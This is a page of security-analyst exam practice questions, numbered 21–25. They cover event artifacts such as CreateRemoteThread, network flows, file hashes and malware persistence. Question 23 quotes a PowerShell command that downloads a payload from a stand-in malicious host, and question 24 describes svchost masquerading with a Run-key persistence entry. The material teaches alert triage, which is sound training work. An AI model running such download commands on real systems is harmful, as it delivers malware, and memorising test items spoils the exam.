4.9 Interpret Common Artifact Elements from an Event to Identify an Alert 200-201 Practice Questions (Page 5)

Questions 21–25

1. 21foundation · easy

   An event log shows a process calling the Windows API 'CreateRemoteThread'. What does this API call typically indicate?

   • AThe process is attempting to execute code in another process's memory space.
   • BThe process is sending a network packet.
   • CThe process is creating a new registry key.
   • DThe process is reading a file from disk.
   Reveal Solution Discussion Select an answer first
2. 22application · easy

   A network monitor captures a flow: 192.168.1.10:49152 -> 203.0.113.20:443. Which statement about this flow is correct?

   • A192.168.1.10 is the client and 203.0.113.20 is the server; the client is using a high ephemeral port.
   • B203.0.113.20 is the client and 192.168.1.10 is the server; the server is using port 443.
   • CBoth IPs are servers because port 443 is a well-known port.
   • DThe client is using port 443 and the server is using an ephemeral port.
   Reveal Solution Discussion Select an answer first
4. 23application · medium

   An alert from a Windows host shows that a process named 'powershell.exe' executed the following command: powershell -enc <base64-encoded string>. The decoded string contains 'Invoke-WebRequest http://malicious.example.com/payload.exe -OutFile C:\Users\Public\payload.exe'. Which artifact element is most indicative of a download-and-execute attack?

   • AThe use of PowerShell with an encoded command
   • BThe process name powershell.exe
   • CThe output file path C:\Users\Public\payload.exe
   • DThe URL http://malicious.example.com/payload.exe
   Reveal Solution Discussion Select an answer first
5. 24expert · hard

   A SOC analyst is investigating an alert on a Windows endpoint. The alert shows a process 'svchost.exe' running from C:\Windows\System32, which is normal. However, the process created a file C:\Users\Public\svchost.exe and then executed it. The new file's SHA-256 hash does not match any known malware in the local threat feed, but the file name and path are suspicious. The analyst also sees a registry key change in HKCU\Software\Microsoft\Windows\CurrentVersion\Run pointing to the new file. Which conclusion is most appropriate?

   • AThe activity is likely malicious because of the file masquerading and persistence mechanism, even though the hash is unknown.
   • BThe activity is a false positive because svchost.exe is a legitimate Windows process.
   • CThe activity is malicious only if the hash matches known malware.
   • DThe activity is benign because the original svchost.exe is legitimate and the hash is unknown.
   Reveal Solution Discussion Select an answer first
6. 25foundation · easy

   Why is SHA-256 preferred over MD5 for verifying file integrity in security investigations?

   • ASHA-256 is the only hash algorithm supported by modern operating systems.
   • BSHA-256 is faster to compute than MD5.
   • CSHA-256 is less susceptible to collision attacks than MD5.
   • DSHA-256 produces shorter hash values, making them easier to compare.
   Reveal Solution Discussion Select an answer first